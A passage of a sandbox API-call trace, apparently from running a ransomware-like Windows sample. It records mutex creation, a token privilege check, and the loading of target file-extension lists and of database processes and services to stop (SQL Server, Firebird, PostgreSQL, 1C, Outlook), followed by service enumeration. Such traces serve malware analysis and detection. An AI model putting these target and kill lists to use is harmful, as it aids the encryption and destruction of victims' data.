lpProcName="ntohl") returned 0x754749d0 [0223.531] GetProcAddress (hModule=0x75470000, lpProcName="htonl") returned 0x754749d0 [0223.531] GetProcAddress (hModule=0x75470000, lpProcName="htons") returned 0x75488ff0 [0223.531] GetProcessHeap () returned 0x4f0000 [0223.532] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x20) returned 0x4fae60 [0223.532] QueryPerformanceCounter (in: lpPerformanceCount=0x19fdb0 | out: lpPerformanceCount=0x19fdb0*=4089974603) returned 1 [0223.532] GetTickCount () returned 0x113481b [0223.532] GetCurrentProcessId () returned 0xd00 [0223.533] GetTickCount () returned 0x113481b [0223.533] GetTickCount () returned 0x113481b [0223.533] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x20) returned 0x4faf28 [0223.533] GetVersion () returned 0x23f00206 [0223.533] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x7) returned 0x507108 [0223.533] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x507718 [0223.533] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x507718, Size=0x20) returned 0x4faf78 [0223.533] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x4faf78, Size=0x40) returned 0x50a310 [0223.533] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x50e970 [0223.533] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_2K63V7A") returned 0x0 [0223.533] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\syncronize_2K63V7A") returned 0x1ec [0223.533] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x507108 | out: hHeap=0x4f0000) returned 1 [0223.533] lstrlenW (lpString="Global\\syncronize_") returned 18 [0223.533] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50a310 | out: hHeap=0x4f0000) returned 1 [0223.533] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x7) returned 0x5070e8 [0223.533] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x507718 [0223.533] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x507718, Size=0x20) returned 0x4faf78 [0223.533] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x4faf78, Size=0x40) returned 0x50a310 [0223.533] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x51e978 [0223.534] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_2K63V7U") returned 0x0 [0223.534] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\syncronize_2K63V7U") returned 0x1f0 [0223.534] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5070e8 | out: hHeap=0x4f0000) returned 1 [0223.534] lstrlenW (lpString="Global\\syncronize_") returned 18 [0223.534] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50a310 | out: hHeap=0x4f0000) returned 1 [0223.534] GetVersion () returned 0x23f00206 [0223.534] GetCurrentProcess () returned 0xffffffff [0223.534] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x19fd9c | out: TokenHandle=0x19fd9c*=0x1f4) returned 1 [0223.534] GetTokenInformation (in: TokenHandle=0x1f4, TokenInformationClass=0x14, TokenInformation=0x19fd98, TokenInformationLength=0x4, ReturnLength=0x19fda4 | out: TokenInformation=0x19fd98, ReturnLength=0x19fda4) returned 1 [0223.534] CloseHandle (hObject=0x1f4) returned 1 [0223.534] WaitForSingleObject (hHandle=0x1f0, dwMilliseconds=0x0) returned 0x0 [0223.535] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x14) returned 0x5061c0 [0223.535] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x507718 [0223.535] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x507718, Size=0x20) returned 0x4faf78 [0223.535] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x4faf78, Size=0x40) returned 0x50a8b0 [0223.535] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x50a8b0, Size=0x80) returned 0x502548 [0223.535] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x502548, Size=0x100) returned 0x507510 [0223.535] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x34) returned 0x509858 [0223.535] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x4) returned 0x5070e8 [0223.535] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x4) returned 0x506fa8 [0223.535] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8) returned 0x506fb8 [0223.535] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x507880 [0223.535] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x4) returned 0x5070f8 [0223.535] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x507898 [0223.535] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5070f8, Size=0x8) returned 0x506fe8 [0223.535] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x507760 [0223.535] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x506fe8, Size=0x10) returned 0x507718 [0223.535] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x507778 [0223.535] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x5078b0 [0223.535] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x507718, Size=0x20) returned 0x4faf78 [0223.535] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x507718 [0223.535] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x507748 [0223.535] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5070e8, Size=0x8) returned 0x5070f8 [0223.535] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x506fa8, Size=0x8) returned 0x506fe8 [0223.535] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8) returned 0x5070e8 [0223.535] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x5077a8 [0223.535] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x4) returned 0x507108 [0223.535] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x5077c0 [0223.535] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x507108, Size=0x8) returned 0x507118 [0223.535] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x507970 [0223.535] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x507118, Size=0x10) returned 0x507a18 [0223.535] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x5079e8 [0223.535] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8) returned 0x507108 [0223.535] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x507a18, Size=0x20) returned 0x52ec58 [0223.535] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5070f8, Size=0x10) returned 0x507a00 [0223.535] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x506fe8, Size=0x10) returned 0x507a18 [0223.535] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8) returned 0x507118 [0223.535] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x5079a0 [0223.535] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x4) returned 0x506f58 [0223.535] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x507a30 [0223.535] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x506f58, Size=0x8) returned 0x5070f8 [0223.535] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8) returned 0x506f58 [0223.535] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x5079d0 [0223.535] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x4) returned 0x506f78 [0223.535] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x507988 [0223.535] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x506f78, Size=0x8) returned 0x506f88 [0223.535] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x507a00, Size=0x20) returned 0x52ed70 [0223.535] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x507a18, Size=0x20) returned 0x52ebe0 [0223.535] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8) returned 0x506f78 [0223.535] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x507a18 [0223.535] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x4) returned 0x506fa8 [0223.535] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x5079b8 [0223.535] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x506fa8, Size=0x8) returned 0x506fe8 [0223.535] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x14) returned 0x506180 [0223.535] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x14) returned 0x5061e0 [0223.536] lstrlenW (lpString="doc(.doc;.docx;.pdf;.xls;.xlsx;.ppt;)arc(.zip;.rar;.bz2;.7z;)dbf(.dbf;)1c8(.1cd;)jpg(.jpg;)") returned 91 [0223.536] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x507510 | out: hHeap=0x4f0000) returned 1 [0223.536] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x19fde8 | out: lpWSAData=0x19fde8) returned 0 [0223.540] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x507a00 [0223.540] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x507a00, Size=0x20) returned 0x52e9d8 [0223.540] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x52e9d8, Size=0x40) returned 0x50a3e8 [0223.540] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x50a3e8, Size=0x80) returned 0x507f20 [0223.540] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x507f20, Size=0x100) returned 0x507510 [0223.540] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x507a00 [0223.540] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x507a00, Size=0x20) returned 0x52ed98 [0223.540] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x52ed98, Size=0x40) returned 0x50a8b0 [0223.540] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x50a8b0, Size=0x80) returned 0x507f20 [0223.540] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x507f20, Size=0x100) returned 0x534238 [0223.540] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x507a00 [0223.540] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x4) returned 0x5336f0 [0223.540] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x534370 [0223.540] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5336f0, Size=0x8) returned 0x533600 [0223.540] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x14) returned 0x506280 [0223.540] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x533600, Size=0x10) returned 0x5345e0 [0223.540] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x18) returned 0x506380 [0223.540] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x1a) returned 0x52ee10 [0223.540] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5345e0, Size=0x20) returned 0x52ecd0 [0223.540] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x1c) returned 0x52ee60 [0223.540] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x16) returned 0x506420 [0223.540] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x1a) returned 0x52ea50 [0223.540] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x534640 [0223.540] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x4) returned 0x533650 [0223.540] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x40) returned 0x50a700 [0223.540] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x533650, Size=0x8) returned 0x533680 [0223.540] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x3c) returned 0x50a238 [0223.540] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x533680, Size=0x10) returned 0x5345e0 [0223.540] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x14) returned 0x5062c0 [0223.540] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x18) returned 0x506300 [0223.540] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5345e0, Size=0x20) returned 0x52e9b0 [0223.540] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x24) returned 0x5055d0 [0223.540] lstrlenW (lpString="1c8.exe;1cv77.exe;outlook.exe;postgres.exe;mysqld-nt.exe;mysqld.exe;sqlservr.exe;") returned 81 [0223.540] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x507510 | out: hHeap=0x4f0000) returned 1 [0223.540] lstrlenW (lpString="FirebirdGuardianDefaultInstance;FirebirdServerDefaultInstance;sqlwriter;mssqlserver;sqlserveradhelper;") returned 102 [0223.540] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534238 | out: hHeap=0x4f0000) returned 1 [0223.540] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x52ec80 [0223.548] EnumServicesStatusExW (in: hSCManager=0x52ec80, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x19fd84, lpServicesReturned=0x19fd9c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x19fd84, lpServicesReturned=0x19fd9c, lpResumeHandle=0x0) returned 0 [0223.549] GetLastError () returned 0xea [0223.549] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x1a4e) returned 0x536530 [0223.549] EnumServicesStatusExW (in: hSCManager=0x52ec80, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x536530, cbBufSize=0x1a4e, pcbBytesNeeded=0x19fd84, lpServicesReturned=0x19fd9c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x536530, pcbBytesNeeded=0x19fd84, lpServicesReturned=0x19fd9c, lpResumeHandle=0x0) returned 1 [0223.549] CloseServiceHandle (hSCObject=0x52ec80) returned 1 [0223.550] lstrlenW (lpString="AppXSvc") returned 7 [0223.550] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0223.552] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0223.552] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0223.552] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0223.552] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0223.552] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0223.553] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0223.553] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0223.553] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0223.553] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0223.553] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0223.553] lstrlenW (lpString="Audiosrv") returned 8 [0223.553] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0223.553] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0223.553] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0223.553] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0223.553] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0223.553] lstrlenW (lpString="BFE") returned 3 [0223.553] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0223.553] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0223.553] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0223.553] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0223.553] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0223.553] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0223.553] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0223.553] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0223.553] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0223.553] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0223.553] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0223.553] lstrlenW (lpString="CDPSvc") returned 6 [0223.553] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0223.553] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0223.553] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0223.553] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0223.553] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0223.553] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0223.553] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0223.553] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0223.553] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0223.553] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0223.553] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0223.553] lstrlenW (lpString="CryptSvc") returned 8 [0223.553] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0223.553] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0223.553] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0223.553] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0223.553] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0223.553] lstrlenW (lpString="DcomLaunch") returned 10 [0223.553] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0223.553] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0223.553] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0223.553] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0223.553] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0223.553] lstrlenW (lpString="DeviceAssociationService") returned 24 [0223.553] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0223.553] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0223.553] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0223.553] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0223.553] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0223.554] lstrlenW (lpString="Dhcp") returned 4 [0223.554] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0223.554] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0223.554] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0223.554] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0223.554] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0223.554] lstrlenW (lpString="Dnscache") returned 8 [0223.554] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0223.554] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0223.554] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0223.554] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0223.554] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0223.554] lstrlenW (lpString="DPS") returned 3 [0223.554] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0223.554] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0223.554] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0223.554] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0223.554] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0223.554] lstrlenW (lpString="DusmSvc") returned 7 [0223.554] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0223.554] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0223.554] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0223.554] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0223.554] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0223.554] lstrlenW (lpString="EventLog") returned 8 [0223.554] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0223.554] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0223.554] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0223.554] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0223.554] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0223.554] lstrlenW (lpString="EventSystem") returned 11 [0223.554] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0223.554] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0223.554] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0223.554] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0223.554] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0223.554] lstrlenW (lpString="FontCache") returned 9 [0223.554] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0223.554] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0223.554] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0223.554] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0223.554] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0223.554] lstrlenW (lpString="gpsvc") returned 5 [0223.554] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0223.554] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0223.554] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0223.554] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0223.554] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0223.554] lstrlenW (lpString="iphlpsvc") returned 8 [0223.554] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0223.554] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0223.554] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0223.554] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0223.555] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0223.555] lstrlenW (lpString="KeyIso") returned 6 [0223.555] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0223.555] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0223.555] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0223.555] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0223.555] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0223.555] lstrlenW (lpString="LanmanServer") returned 12 [0223.555] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0223.555] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0223.555] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0223.555] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0223.555] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0223.555] lstrlenW (lpString="LanmanWorkstation") returned 17 [0223.555] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0223.555] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0223.555] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0223.555] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0223.555] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0223.555] lstrlenW (lpString="lfsvc") returned 5 [0223.555] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0223.555] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0223.555] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0223.555] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0223.555] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0223.555] lstrlenW (lpString="lmhosts") returned 7 [0223.555] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0223.555] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0223.555] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0223.555] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0223.555] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0223.555] lstrlenW (lpString="LSM") returned 3 [0223.555] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0223.555] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0223.555] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0223.555] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0223.555] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0223.555] lstrlenW (lpString="MpsSvc") returned 6 [0223.555] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0223.555] lstrcmpiW 